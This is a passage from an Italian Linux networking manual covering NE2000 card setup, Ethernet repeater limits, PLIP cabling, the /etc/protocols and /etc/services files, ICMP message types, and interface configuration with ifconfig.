10baseT	10 Mbit/s	UTP	< 100 m	Richiede un ripetitore o un commutatore di pacchetto.

38.6.1.1 Esempio di configurazione della scheda NE2000 con il kernel Linux

La scheda Ethernet a 10 Mbit/s, storicamente più diffusa negli anni 1990, è stata la NE2000 insieme a tutti i suoi cloni. Si tratta di una scheda ISA a 16 bit e richiede che le sia riservato un indirizzo IRQ e un indirizzo di I/O. Ciò a differenza di altre schede che possono richiedere anche una zona di memoria.[3]

La configurazione predefinita tradizionale di una NE2000 è IRQ 3 e I/O 300_{16} che però la mette in conflitto con la seconda porta seriale a causa dell'indirizzo IRQ. Diventa quindi necessario cambiare questa impostazione attraverso lo spostamento di ponticelli sulla scheda, o l'uso di un programma di configurazione, di solito in Dos.

Il kernel Linux deve essere stato predisposto per l'utilizzo di questo tipo di schede e durante l'avvio è normalmente in grado di identificarne la presenza. L'esistenza di una scheda NE2000 viene verificata in base alla scansione di alcuni indirizzi I/O e precisamente: 300_{16}, 280_{16}, 320_{16} e 340_{16}.[4] Se la scheda è stata configurata al di fuori di questi valori, non può essere individuata, a meno di utilizzare un'istruzione apposita da inviare al kernel prima del suo avvio. Quando si vogliono utilizzare più schede nello stesso elaboratore è necessario informare il kernel attraverso un parametro composto nel modo seguente:

```
ether=irq,indirizzo_i/o,nome
```

- ***irq***

  Rappresenta il numero decimale di IRQ.

- ***indirizzo_i/o***

  Rappresenta l'indirizzo di I/O di partenza da utilizzare, espresso in esadecimale.

- ***nome***

  Rappresenta il nome da abbinare all'interfaccia. Trattandosi di schede Ethernet, il nome è '**eth*n***', dove ***n*** rappresenta un numero a partire da zero.

Per esempio, se si installano due schede configurate rispettivamente come IRQ 11, I/O 300_{16} e IRQ 12, I/O 320_{16}, si può utilizzare l'istruzione seguente da inviare a un kernel Linux:

```
ether=11,0x300,eth0 ether=12,0x320,eth1
```

Per controllare se le schede installate sono rilevate correttamente dal kernel basta leggere i messaggi iniziali, per esempio attraverso '**dmesg**'.

Ci sono comunque molte altre possibilità di configurazione e per questo conviene leggere *Ethernet-HOWTO* di Paul Gortmaker.

38.6.2 IEEE 802.3/ISO 8802.3: ripetitori, e limiti di una rete

Il ripetitore è un componente che collega due reti intervenendo al primo livello ISO-OSI. In questo senso, il ripetitore non filtra in alcun caso i pacchetti, ma rappresenta semplicemente un modo per allungare un tratto di rete che per ragioni tecniche non potrebbe esserlo diversamente. Nella tecnologia usata per i 10 Mbit/s è normale l'uso di ripetitori, sia per allungare una rete locale, sia per raccogliere i collegamenti UTP di un gruppo di elaboratori.

L'uso dei ripetitori in una rete è sottoposto a delle limitazioni, che richiedono calcoli complessi, ma generalmente si fa riferimento a dei modelli approssimativi già pronti, che stabiliscono delle limitazioni più facili da comprendere e gestire.

38.6.2.1 10base5 senza ripetitori

La connessione 10base5, senza la presenza di ripetitori, prevede l'uso di un cavo coassiale RG213 (*thick*, cioè grosso), da 50 ohm, con una lunghezza massima di 500 m, terminato alle due estremità con una resistenza da 50 ohm. Lungo il cavo possono essere inseriti i ricetrasmettitori, o MAU (*Medium attachment unit*), che si collegano al cavo attraverso il *vampire tap* (una sorta di ago che si insinua nell'anima del cavo, senza creare cortocircuiti) e a loro volta sono collegati alla scheda di rete con un cavo apposito. I vari ricetrasmettitori possono essere al massimo 100 e la distanza sul cavo, tra uno qualunque di questi e il successivo, è al minimo di 2,5 m.

Figura 38.55. Regole per una rete 10base5 senza ripetitori.

Come si può intuire, se il tratto di cavo coassiale non è continuo, ma ottenuto dalla giunzione di più pezzi, la lunghezza massima deve essere diminuita.

38.6.2.2 10base2 senza ripetitori

La connessione 10base2, senza la presenza di ripetitori, prevede l'uso di un cavo coassiale RG58 (*thin*, cioè sottile), da 50 ohm, con una lunghezza massima di 180 m (quasi 200 m, da cui il nome 10base2), terminato alle due estremità con una resistenza da 50 ohm. Lungo il cavo possono essere inseriti dei connettori BNC a «T», attraverso cui collegare un ricetrasmettitore MAU, o direttamente una scheda che incorpora tutte le funzionalità. Le varie inserzioni poste nella rete possono essere un massimo di 30, poste a una distanza minima di 0,5 m lungo il cavo.

Figura 38.56. Regole per una rete 10base2 senza ripetitori.

38.6.2.3 10baseT

La connessione 10baseT prevede il collegamento di due sole stazioni, cosa che in pratica si traduce nella necessità di utilizzare almeno un ripetitore multiplo, ovvero un *hub* passivo. Le caratteristiche del cavo utilizzato per la connessione 10baseT non sono uniformi e perfettamente standardizzate, tuttavia, generalmente si può raggiungere una lunghezza massima di 100 m.

38.6.2.4 Regole elementari di progettazione

La regola di progettazione più semplice, stabilisce che tra due stazioni qualunque possono essere attraversati al massimo quattro ripetitori, utilizzando cinque segmenti (cavi), di cui al massimo tre di tipo coassiale (RG58 o RG213).

Figura 38.57. Esempio di configurazione massima con quattro ripetitori, tre segmenti coassiali e due segmenti 10baseT.

stazione
10baseT
max 100 m
ripetitore
ripetitore
ripetitore
ripetitore
ogni segmento:
10base5 max 500 m
oppure
10base2 max 180 m
10baseT
max 100 m
stazione

La figura 38.57 mostra una situazione molto semplice, in cui tre segmenti 10base2 o 10base5 collegano tra loro quattro ripetitori che poi si uniscono all'esterno con un segmento 10baseT. La figura mostra il collegamento di due sole stazioni, ma i ripetitori più esterni potrebbero essere muniti di più porte 10baseT, in modo da collegare più stazioni.

Eventualmente, in base alle regole date, anche nei tratti di collegamento coassiale è possibile inserire delle stazioni.

Figura 38.58. Esempio di configurazione massima in cui, pur apparendo cinque ripetitori, tra due stazioni ne vengono attraversati al massimo quattro. I ripetitori agli estremi dispongono di più connessioni 10baseT.

Si può osservare che, negli esempi mostrati, i collegamenti UTP sono sempre solo di tipo 10baseT. Ciò dipende dal fatto che con lo standard dei cavi coassiali non si possono raggiungere velocità superiori. Pertanto, di norma, se si intende usare collegamenti basati su cavi in rame, il cavo coassiale viene abbandonato e ci si limita al cavo UTP, pur con i suoi limiti di lunghezza.

I commutatori di pacchetto, o *switch*, sono diversi dai ripetitori generici, o *hub* passivi, in quanto i primi si comportano come dei bridge. In questo senso, i commutatori di pacchetto non sono sottoposti alle limitazioni dei ripetitori, soprattutto per quanto riguarda la condivisione del ***dominio di collisione***. Infatti, un bridge è in grado normalmente di determinare se una stazione si trova in un collegamento o meno; in questo modo, i pacchetti possono essere filtrati, impedendo di affollare inutilmente i collegamenti che non ne sono interessati.

38.6.3 PLIP

Due elaboratori possono essere connessi utilizzando le porte parallele. Si ottiene in questi casi una connessione PLIP.[5] La gestione della comunicazione PLIP avviene direttamente nel kernel che deve essere stato compilato opportunamente per ottenere questa funzionalità.

Le porte parallele possono essere fondamentalmente di due tipi: quelle normali e quelle bidirezionali. Per questa ragione, in origine sono stati utilizzati due tipi di cavo. Attualmente però, l'unico cavo considerato standard è quello incrociato adatto a tutti i tipi di porta parallela.

L'utilizzo del cavo bidirezionale, considerato sconsigliabile, ma di cui si trova ancora traccia nelle documentazioni, implica qualche rischio in più di danneggiamento delle porte parallele.

Segue lo schema del cavo per la connessione PLIP (si può consultare anche la sezione 9.12.4). Eventualmente si può anche leggere il contenuto del file '***sorgenti_linux***`/drivers/net/README1.PLIP`' che è fornito insieme al kernel Linux.

Cavo parallelo incrociato.

Connettore A DB-25 maschio Nome	Contatto	Contatto	Connettore B DB-25 maschio Nome
Data Bit 0	2	15	*Error*
Data Bit 1	3	13	*Select*
Data Bit 2	4	12	*Paper Out*
Data Bit 3	5	10	*Acknowledge*
Data Bit 4	6	11	*Busy*
Acknowledge	10	5	*Data Bit 3*
Busy	11	6	*Data Bit 4*
Paper Out	12	4	*Data Bit 2*
Select	13	3	*Data Bit 1*
Error	15	2	*Data Bit 0*
Signal Ground	25	25	*Signal Ground*

38.6.3.1 Problemi con le porte parallele

Le porte parallele non sono tutte uguali: i problemi maggiori potrebbero presentarsi con le porte degli elaboratori portatili, o comunque quelle incorporate nella scheda madre dell'elaboratore. In questi casi, la loro configurazione dovrebbe essere gestita attraverso un programma contenuto nel firmware (il BIOS) ed è importante verificare tale configurazione.

La configurazione riguarda generalmente l'indirizzo di I/O, eventualmente anche il numero di IRQ. Alcune configurazioni potrebbero prevedere l'impostazione della porta come «normale» o «bidirezionale». Se si può scegliere, è opportuno che la porta sia normale.

A questo punto si pone il problema del riconoscimento della porta da parte del kernel. Se il file principale del kernel incorpora la gestione del protocollo PLIP, l'interfaccia dovrebbe essere individuata automaticamente e in modo corretto (riguardo alla sua configurazione effettiva). Eventualmente si può inviare un messaggio al kernel Linux attraverso il meccanismo dei parametri di avvio (sezione 8.5). Anche nel caso dell'utilizzo di un modulo, il rilevamento dell'interfaccia dovrebbe avvenire in modo corretto.

In tutti i casi in cui è necessario fornire al kernel le caratteristiche hardware dell'interfaccia parallela, è indispensabile indicare sia l'indirizzo di I/O, sia il numero di IRQ. Se si indica un numero di IRQ errato, si rischia di ottenere il funzionamento intermittente dell'interfaccia, cosa che magari potrebbe fare pensare ad altri problemi.

38.7 Definizione dei protocolli e dei servizi

Prima ancora di analizzare sommariamente il funzionamento dei protocolli IP, è opportuno portare l'attenzione a due file di configurazione che di solito sono già stati predisposti correttamente dalle varie distribuzioni GNU/Linux: si tratta di '`/etc/protocols`' e '`/etc/services`'. Normalmente non ci si accorge nemmeno della loro presenza, ma la loro mancanza, o l'indicazione errata di alcune voci pregiudica seriamente il funzionamento elementare delle reti IP.

38.7.1 Protocolli di trasporto e di rete

I protocolli di comunicazione possono inserirsi a diversi livelli nella stratificazione del modello di rete ISO-OSI (presentato nella sezione 38.1). Quelli riferiti ai livelli di ***trasporto*** e di ***rete*** sono classificati nel file '`/etc/protocols`' che alcuni programmi hanno la necessità di consultare. Di solito non c'è la necessità di modificare questo file che però deve essere presente quando si utilizzano programmi che accedono alla rete. Segue un estratto abbreviato di questo file:

```
ip          0   IP          # internet protocol, pseudo protocol number
icmp        1   ICMP        # internet control message protocol
…
tcp         6   TCP         # transmission control protocol
…
udp         17  UDP         # user datagram protocol
…
ipv6        41  IPv6        # IPv6
…
ipv6-icmp   58  IPv6-ICMP   # ICMP for IPv6
…
```

38.7.2 Servizi

I protocolli TCP e UDP inseriscono il concetto di porta di comunicazione. Per la precisione, ogni pacchetto TCP o UDP, contiene una porta mittente e una porta di destinazione. Naturalmente, al livello IP vengono anche aggiunte le indicazioni dell'indirizzo IP del mittente e del destinatario.

Perché un pacchetto possa essere ricevuto da un destinatario, occorre che questo sia in ascolto proprio sulla porta prevista, altrimenti il pacchetto in questione non raggiunge il suo obiettivo. In generale, un'applicazione che deve svolgere un servizio attraverso la rete, deve stare in ascolto sempre della stessa porta, in modo tale che chi vuole accedervi sappia come farlo. Dall'altra parte, un'applicazione che vuole accedere a un servizio, deve aprire per conto proprio una porta locale qualsiasi, purché non utilizzata, iniziando poi a inviare dei pacchetti TCP o UDP (in base alle caratteristiche del protocollo al livello superiore) presso l'indirizzo e la porta del servizio. Si intende che l'applicazione che svolge il servizio sappia a quale porta rispondere perché questa informazione è parte dei pacchetti TCP e UDP.

Figura 38.61. Viaggio di un pacchetto UDP o TCP: «***n***» è la porta di origine; «***m***» è la porta di destinazione.

nodo A

pacchetto UDP o TCP da «A:n» diretto a «B:m»

nodo B

Figura 38.62. Andata e ritorno per le connessioni che prevedono l'uso delle porte: «***n***» è la porta usata nel nodo «A»; «***m***» è la porta usata nel nodo «B».

nodo A

pacchetto di andata da «A:n» diretto a «B:m»

pacchetto di ritorno da «B:m» diretto a «A:n»

nodo B

I servizi di rete sono offerti attraverso protocolli al quinto livello del modello ISO-OSI, ovvero a livello di sessione, utilizzando nello strato inferiore (TCP o UDP) delle porte ben conosciute, le quali tendono così a confondersi con il servizio stesso. Per esempio, la porta 23 viene usata per il protocollo TELNET, pertanto tende a essere identificata con il servizio corrispondente.

Figura 38.63. Esempio di ciò che accade quando dal nodo «A» un processo instaura una connessione HTTP con il nodo «B»; in particolare, in questo caso il processo in questione utilizza localmente la porta 1083.

cliente HTTP

servente HTTP

nodo A

pacchetto di andata da «A:1083» diretto a «B:80»

pacchetto di ritorno da «B:80» diretto a «A:1083»

nodo B

Generalmente, nei sistemi Unix le porte che gli applicativi devono utilizzare per stare in ascolto in attesa di richieste di connessione sono elencate nel file '`/etc/services`'. Il file in questione serve anche ai programmi che accedono ai servizi (sia locali, sia remoti), per sapere quale porta interpellare.

Il file '`/etc/services`' viene utilizzato in particolare da Inetd, per interpretare correttamente i nomi di tali servizi indicati nel suo file di configurazione '`/etc/inetd.conf`' (42.1.1).

> Spesso, nel file '`/etc/services`' si annotano due righe per ogni porta: una nel caso di utilizzo del protocollo TCP e l'altra nel caso di UDP. Questo può succedere anche quando il servizio corrispondente fa sempre uso di uno solo dei due protocolli.

Segue un estratto molto breve del file in questione, in cui si può vedere la definizione di servizi di uso comune:

```
ftp-data        20/tcp
ftp             21/tcp
...
ssh             22/tcp                      # SSH Remote Login Protocol
ssh             22/udp                      # SSH Remote Login Protocol
telnet          23/tcp
smtp            25/tcp          mail
```

```
…
domain          53/tcp      nameserver    # name-domain server
domain          53/udp      nameserver
…
www             80/tcp      http          # WorldWideWeb HTTP
www             80/udp                    # HyperText Transfer Protocol
…
pop3            110/tcp     pop-3         # POP version 3
pop3            110/udp     pop-3
…
irc             194/tcp                   # Internet Relay Chat
irc             194/udp
…
x11             6000/tcp    x11-0         # X windows system
x11             6000/udp    x11-0         # X windows system
…
```

38.7.3 Messaggi ICMP

Più o meno allo stesso livello dei protocolli TCP e UDP, si affianca il protocollo ICMP, il quale non dispone di porte, ma di ***messaggi***, definiti attraverso un codice numerico, composto da un tipo e da un eventuale sottotipo.

Tabella 38.65. Messaggi ICMP comuni.

Tipo	Codice	Nome	Chi lo utilizza
0		echo-reply	risposta a un ping (pong)
1			
2			
3		destination-unreachable	traffico TCP e UDP
3	0	network-unreachable	
3	1	host-unreachable	
3	2	protocol-unreachable	
3	3	port-unreachable	
3	4	fragmentation-needed	
3	5	source-route-failed	
3	6	network-unknown	
3	7	host-unknown	
3	8		
3	9	network-prohibited	
3	10	host-prohibited	
3	11	TOS-network-unreachable	
3	12	TOS-host-unreachable	
3	13	communication-prohibited	
3	14	host-precedence-violation	
3	15	precedence-cutoff	
4		source-quench	
5		redirect	instradamento dei pacchetti
5	0	network-redirect	
5	1	host-redirect	
5	2	TOS-network-redirect	
5	3	TOS-host-redirect	

Tipo	Codice	Nome	Chi lo utilizza
6			
7			
8		echo-request	ping
9		router-advertisement	
10		router-solicitation	
11		time-exceeded (ttl-exceeded)	traceroute
11	0	ttl-zero-during-transit	
11	1	ttl-zero-during-reassembly	
12		parameter-problem	
12	0	ip-header-bad	
12	1	required-option-missing	
13		timestamp-request	
14		timestamp-reply	
15		information-request	
16		information-reply	
17		address-mask-request	
18		address-mask-reply	

In molti casi, i messaggi ICMP servono a fornire delle segnalazioni di errore riferite allo stato della rete.

38.8 IPv4: configurazione delle interfacce di rete

La connessione in una rete basata su IP necessita inizialmente dell'assegnazione di indirizzi IP e quindi di un instradamento per determinare quale strada, o itinerario, devono prendere i pacchetti per raggiungere la destinazione. Generalmente, ma non necessariamente, valgono queste regole:

- ogni interfaccia di rete ha un proprio indirizzo IP;
- un'interfaccia di rete di un elaboratore può comunicare con un'interfaccia di un altro elaboratore solo se queste sono fisicamente connesse alla stessa rete;
- un'interfaccia di rete di un elaboratore può comunicare con un'interfaccia di un altro elaboratore solo se gli indirizzi di queste interfacce appartengono alla stessa rete.

In un sistema GNU/Linux, per poter gestire una connessione in rete di qualunque tipo, occorre un kernel predisposto in modo da attivarne la gestione (sezioni 8.3.1 e 8.3.7).

È necessario anche provvedere alla gestione delle interfacce di rete particolari che si utilizzano. Ciò può essere fatto sia attraverso la realizzazione di un kernel monolitico, sia modulare. Per quanto riguarda la gestione specifica di ogni singola interfaccia, la tendenza è quella di usare preferibilmente i moduli.

38.8.1 Configurazione delle interfacce di rete

La configurazione di un'interfaccia implica essenzialmente l'attribuzione di un indirizzo IP. Un indirizzo IP di un'interfaccia vale in quanto inserito in una rete logica, identificata anche questa da un proprio indirizzo IP. Pertanto, quando si assegna un indirizzo a un'interfaccia, occorre anche stabilire la rete a cui questo appartiene, attraverso la maschera di rete, con la quale, il risultato di ***indirizzo_di_interfaccia*** AND ***maschera_di_rete*** genera l'indirizzo della rete.

elaboratore A
127.0.0.1 lo
plip1
192.168.7.1
192.168.7.2
plip1
elaboratore B
127.0.0.1 lo
192.168.1.1
eth0
rete 192.168.1.0

Lo schema mostra la situazione di due elaboratori, riassumibile sinteticamente nelle due tabelle seguenti, riferite rispettivamente all'elaboratore «A» e all'elaboratore «B»:

Interfaccia	Tipo	Indirizzo IP	Maschera di rete	Indirizzo broadcast	Indirizzo punto-punto
lo	virtuale	127.0.0.1	255.0.0.0	127.255.255.255	--
plip1	porta parallela	192.168.7.1	255.255.255.255	--	192.168.7.2
eth0	Ethernet	192.168.1.1	255.255.255.0	192.168.1.255	--

Interfaccia	Tipo	Indirizzo IP	Maschera di rete	Indirizzo broadcast	Indirizzo punto-punto
lo	virtuale	127.0.0.1	255.0.0.0	127.255.255.255	--
plip1	porta parallela	192.168.7.2	255.255.255.255	--	192.168.7.1

Per la spiegazione di questa configurazione vengono mostrati nelle sezioni seguenti degli esempi ottenuti con un sistema GNU/Linux, attraverso il programma Ifconfig[6] (*Interface configuration*), a cui corrisponde l'eseguibile '**`ifconfig`**'. Tuttavia, il concetto rimane tale per gli altri sistemi operativi, anche se il comando che si usa per impostare le interfacce di rete può avere un nome e un funzionamento differente.

38.8.1.1 Loopback

Un elaboratore connesso o meno a una rete fisica vera e propria, **deve** avere una connessione virtuale a una rete immaginaria interna allo stesso elaboratore. A questa rete virtuale inesistente si accede per mezzo di un'interfaccia immaginaria, che in un sistema GNU/Linux è denominata '**`lo`**', e l'indirizzo utilizzato è sempre lo stesso, 127.0.0.1, ma ugualmente deve essere indicato esplicitamente.

Interfaccia	Tipo	Indirizzo IP	Maschera di rete	Indirizzo broadcast	Indirizzo punto-punto
lo	virtuale	127.0.0.1	255.0.0.0	127.255.255.255	--

Come si vede dallo schema, la maschera di rete è quella di una classe A e, di solito, il comando

che si usa per associare l'indirizzo all'interfaccia locale determina da solo questa maschera. In un sistema GNU/Linux si può definire il nodo di rete locale in modo molto semplice:

ifconfig lo 127.0.0.1 [*Invio*]

Quindi, si può controllare la configurazione:

$ **ifconfig lo** [*Invio*]

```
lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Bcast:127.255.255.255  Mask:255.0.0.0
          UP BROADCAST LOOPBACK RUNNING  MTU:3584  Metric:1
          ...
```

È indispensabile che sia presente l'interfaccia locale virtuale per il buon funzionamento del sistema, soprattutto quando l'elaboratore ha già una connessione a una rete reale. Infatti, si potrebbe essere tentati di non definire tale interfaccia, oppure di non attivare l'instradamento relativo, quando sono presenti altre interfacce fisiche reali, ma ciò potrebbe provocare un malfunzionamento intermittente della rete.

38.8.1.2 Ethernet

La configurazione degli indirizzi di una scheda di rete Ethernet è la cosa più comune: si tratta semplicemente di abbinare all'interfaccia il suo indirizzo stabilendo il proprio ambito di competenza, attraverso la maschera di rete. In precedenza è stato mostrato un esempio di configurazione schematizzato nel modo seguente:

Interfaccia	Tipo	Indirizzo IP	Maschera di rete	Indirizzo broadcast	Indirizzo punto-punto
eth0	Ethernet	192.168.1.1	255.255.255.0	192.168.1.255	--

In questo modo, l'indirizzo 192.168.1.1 risulta assegnato all'interfaccia '**eth0**', che in un sistema GNU/Linux rappresenta la prima scheda Ethernet. La maschera di rete, 255.255.255.0, fa sì che l'indirizzo di rete sia 192.168.1.0; infatti, 192.168.1.1 AND 255.255.255.0 = 192.168.1.0.

In un sistema GNU/Linux, si definisce questo abbinamento con il comando seguente:

ifconfig eth0 192.168.1.1 netmask 255.255.255.0 [*Invio*]

In questo caso, tuttavia, dal momento che l'indirizzo 192.168.1.1 appartiene alla classe C, la maschera di rete predefinita sarebbe stata la stessa di quella che è stata indicata esplicitamente.

La verifica della configurazione potrebbe dare l'esito seguente:

$ **ifconfig eth0** [*Invio*]

```
eth0      Link encap:10Mbps Ethernet  HWaddr 00:4F:56:00:11:87
          inet addr:192.168.1.1  Bcast:192.168.1.255  Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          ...
```

38.8.1.3 Connessioni punto-punto

Le connessioni di tipo punto-punto, ovvero quelle in cui si possono collegare solo due punti alla volta, hanno caratteristiche diverse da quelle di tipo a bus, come nel caso della tecnologia Ethernet. In linea di massima si può dire che questo tipo di connessione implichi la specificazione di entrambi gli indirizzi dei due punti collegati, cioè delle rispettive interfacce. Tuttavia, la configurazione effettiva dipende anche dalle strategie che si vogliono adottare. A titolo di esempio si fa riferimento a una connessione PLIP, la quale si ottiene collegando due elaboratori con un cavo apposito attraverso le vecchie porte parallele, usate un tempo per le stampanti.

Il modo più semplice, da un punto di vista intuitivo, per configurare una connessione punto-punto, è quello di trattarla come se fosse una connessione a bus. Per esempio, i due lati della connessione potrebbero essere definiti rispettivamente nel modo seguente:

Interfaccia	Tipo	Indirizzo IP	Maschera di rete	Indirizzo broadcast	Indirizzo punto-punto
plip1	porta parallela	192.168.7.1	255.255.255.0	--	192.168.7.2

Interfaccia	Tipo	Indirizzo IP	Maschera di rete	Indirizzo broadcast	Indirizzo punto-punto
plip1	porta parallela	192.168.7.2	255.255.255.0	--	192.168.7.1

Come si vede, si dichiara una maschera di rete che impegna un ottetto completo per connettere i due nodi. Segue il comando corrispondente, da utilizzare in un sistema GNU/Linux dal lato del primo dei due nodi:

```
# ifconfig plip1 192.168.7.1 pointopoint 192.168.7.2 ↩
↪           netmask 255.255.255.0 [Invio]
```

Come si comprende intuitivamente, si assegna l'indirizzo 192.168.7.1 all'interfaccia parallela '**plip1**' locale e si stabilisce l'indirizzo 192.168.7.2 per l'altro capo della comunicazione. Il risultato è che si dovrebbe generare la configurazione seguente:[7]

```
$ ifconfig plip1 [Invio]
```

```
plip1     Link encap:Ethernet  HWaddr FC:FC:C0:A8:64:84
          inet addr:192.168.7.1  P-t-P:192.168.7.2  Mask:255.255.255.0
          UP POINTOPOINT RUNNING NOARP  MTU:1500  Metric:1
          ...
```

Dall'altro capo della connessione si deve eseguire la configurazione opposta. Per seguire l'esempio mostrato, si deve usare il comando seguente:

```
# ifconfig plip1 192.168.7.2 pointopoint 192.168.7.1 ↩
↪           netmask 255.255.255.0 [Invio]
```

In alternativa, dal momento che si tratta di una connessione di due soli punti, non è sempre indispensabile indicare precisamente l'indirizzo all'altro capo: di solito si può fare in modo che venga accettato qualunque indirizzo, facilitando la configurazione.

Interfaccia	Tipo	Indirizzo IP	Maschera di rete	Indirizzo broadcast	Indirizzo punto-punto
plip1	porta parallela	192.168.7.1	255.255.255.0	--	0.0.0.0

Interfaccia	Tipo	Indirizzo IP	Maschera di rete	Indirizzo broadcast	Indirizzo punto-punto
plip1	porta parallela	192.168.7.2	255.255.255.0	--	0.0.0.0

Sempre con un sistema GNU/Linux, la configurazione del primo nodo può essere ottenuta in questo modo alternativo:

```
# ifconfig plip1 192.168.7.1 pointopoint 0.0.0.0 ↩
↪           netmask 255.255.255.0 [Invio]
```

L'esempio che si vede sopra è lo stesso già proposto con la variante dell'indicazione dell'indirizzo all'altro capo. In questo caso, 0.0.0.0 fa in modo che venga accettata la connessione con qualunque indirizzo.

```
$ ifconfig plip1 [Invio]
```

```
plip1     Link encap:Ethernet  HWaddr FC:FC:C0:A8:64:84
          inet addr:192.168.7.1  P-t-P:0.0.0.0  Mask:255.255.255.0
          UP POINTOPOINT RUNNING NOARP  MTU:1500  Metric:1
          ...
```

Dall'altro capo della connessione ci si può comportare in modo analogo, come nell'esempio seguente:

```
# ifconfig plip1 192.168.7.2 pointopoint 0.0.0.0 ↩
↪           netmask 255.255.255.0 [Invio]
```

Tuttavia, è bene trattare le connessioni punto-punto per quello che sono, pertanto è bene specificare una maschera di rete che non impegni altri indirizzi se non quelli indicati. In pratica, si tratta si usare la maschera 255.255.255.255, che tra l'altro è quella predefinita in questo tipo di connessione.

Interfaccia	Tipo	Indirizzo IP	Maschera di rete	Indirizzo broadcast	Indirizzo punto-punto
plip1	porta parallela	192.168.7.1	255.255.255.255	--	192.168.7.2

Interfaccia	Tipo	Indirizzo IP	Maschera di rete	Indirizzo broadcast	Indirizzo punto-punto
plip1	porta parallela	192.168.7.2	255.255.255.255	--	192.168.7.1

Ecco il comando corrispondente per GNU/Linux:

```
# ifconfig plip1 192.168.7.1 pointopoint 192.168.7.2 ↩
↪           netmask 255.255.255.255 [Invio]
```

L'esempio mostra una configurazione in cui si specificano gli indirizzi IP di entrambi i punti.

In alternativa, anche in questo caso, si può fare a meno di indicare espressamente l'indirizzo dell'altro capo, come nell'esempio seguente:

```
# ifconfig plip1 192.168.7.1 pointopoint 0.0.0.0 ←
↪         netmask 255.255.255.255 [ Invio ]
```

Il vantaggio di usare questo tipo di configurazione sta nel risparmio di indirizzi; lo svantaggio sta nella necessità di stabilire instradamenti specifici per ognuno dei due punti (questo particolare viene chiarito in seguito).

38.8.2 Configurazione delle interfacce di rete con un sistema GNU/Linux

In un sistema GNU/Linux, le interfacce di rete vengono identificate attraverso un nome, assegnato dal kernel nel momento della loro identificazione. Alcuni nomi di interfaccia di rete sono elencati nella tabella 38.43.

La configurazione delle interfacce di rete avviene attraverso Ifconfig (l'eseguibile '**`ifconfig`**'), il quale consente di applicare impostazioni differenti a seconda della famiglia di protocolli a cui si intende fare riferimento. In particolare, il riferimento a IPv4 è implicito, ma si può indicare esplicitamente attraverso la parola chiave '**`inet`**' (mentre '**`inet6`**' fa riferimento a IPv6).

38.8.2.1 Utilizzo di «ifconfig»

Il programma '**`ifconfig`**' viene utilizzato per attivare e mantenere il sistema delle interfacce di rete residente nel kernel. Viene utilizzato al momento dell'avvio per configurare la maggior parte di questo sistema in modo da portarlo a un livello di funzionamento. Dopo, viene utilizzato di solito solo a scopo diagnostico o quando sono necessarie delle regolazioni. Se non vengono forniti argomenti, oppure se vengono indicate solo delle interfacce, '**`ifconfig`**' visualizza semplicemente lo stato delle interfacce specificate, oppure di tutte se non sono state indicate.

`ifconfig` [***interfaccia***]

`ifconfig` [***interfaccia***... [***famiglia_indirizzamento***] [***indirizzo***] ***opzioni***]

Il primo argomento successivo al nome di interfaccia può essere la sigla identificativa di una ***famiglia di indirizzamento***, ovvero di un sistema di protocolli di comunicazione particolare. A seconda del tipo di questo, cambia il modo di definire gli indirizzi che si attribuiscono alle interfacce. Se la famiglia di indirizzamento non viene specificata, come si fa di solito, si intende fare riferimento al sistema di protocolli che si basano su IPv4.

L'indirizzo è il modo con cui l'interfaccia viene riconosciuta all'interno del tipo di protocollo particolare che si utilizza. Nel caso di IP, può essere indicato l'indirizzo IP numerico o il nome di dominio, che in questo caso viene convertito automaticamente (sempre che ciò sia possibile) nell'indirizzo numerico corretto.

Tabella 38.81. Alcune opzioni.

Opzione	Descrizione

`up`
 	
`down`
	L'opzione '**`up`**' attiva l'interfaccia. Quando all'interfaccia viene attribuito un nuovo indirizzo, questa viene attivata implicitamente. L'opzione '**`down`**' disattiva l'interfaccia.

`arp`
 	
`-arp`
	Abilita o disabilita l'uso del protocollo ARP per questa interfaccia.

`allmulti`
 	
`-allmulti`
	Abilita o disabilita la modalità promiscua dell'interfaccia. Ciò permette di fare un monitoraggio della rete attraverso applicazioni specifiche che così possono analizzare ogni pacchetto che vi transita, anche se non è diretto a quella interfaccia.

`mtu` ***n***	Permette di specificare l'unità massima di trasferimento (MTU o *Max transfer unit*) dell'interfaccia. Per le schede Ethernet, questo valore può variare in un intervallo di 1000-2000 (il valore predefinito è 1500).
`pointopoint` [***indirizzo_di_destinazione***] `-pointopoint` [***indirizzo_di_destinazione***]	Abilita o disabilita la modalità punto-punto per questa interfaccia. La connessione punto-punto è quella che avviene tra due elaboratori soltanto. Se viene indicato l'indirizzo, si tratta di quello dell'altro nodo.
`netmask` ***indirizzo_di_netmask***	Stabilsce la maschera di rete per questa interfaccia. L'indicazione della maschera di rete può essere omessa, in tal caso, viene utilizzato il valore predefinito che è determinato in base alla classe a cui appartiene l'indirizzo (A, B o C). Naturalmente, se si usa una sottorete, il valore della maschera di rete non può coincidere con quello predefinito.
`irq` ***numero_di_irq***	Alcune interfacce permettono di definire il numero di IRQ in questo modo. Nella maggior parte dei casi, ciò non è possibile.
`broadcast` [***indirizzo***] `-broadcast` [***indirizzo***]	Abilita o disabilita la modalità broadcast per questa interfaccia. Se abilitandola, viene indicato l'indirizzo, si specifica l'indirizzo broadcast di questa interfaccia.
`multicast`	Questa opzione permette di attivare esplicitamente la modalità multicast, anche se normalmente ciò viene determinato automaticamente in base al tipo di interfaccia utilizzato.

Segue la descrizione di alcuni esempi.

- `#` **`ifconfig lo 127.0.0.1`** [*Invio*]

  Attiva l'interfaccia '**`lo`**' corrispondente al *loopback* con il noto indirizzo IP 127.0.0.1.

- `#` **`ifconfig eth0 192.168.1.1 netmask 255.255.255.0`** [*Invio*]

  Attiva l'interfaccia '**`eth0`**' corrispondente alla prima scheda Ethernet, con l'indirizzo IP 192.168.1.1 e la maschera di rete 255.255.255.0.

* `$ ifconfig eth0` [*Invio*]

  Emette la situazione dell'interfaccia '**`eth0`**' corrispondente alla prima scheda Ethernet.

* `$ ifconfig` [*Invio*]

  Emette la situazione di tutte le interfacce di rete attivate.

38.8.2.2 Alias IP

È possibile attribuire a ogni interfaccia di rete più di un indirizzo IPv4. Ciò si ottiene definendo delle interfacce virtuali, riferite a quelle reali, a cui poi si attribuiscono degli indirizzi IP differenti. Il nome di un'interfaccia virtuale ha l'aspetto seguente:

interfaccia_reale **:** ***n_interfaccia_virtuale***

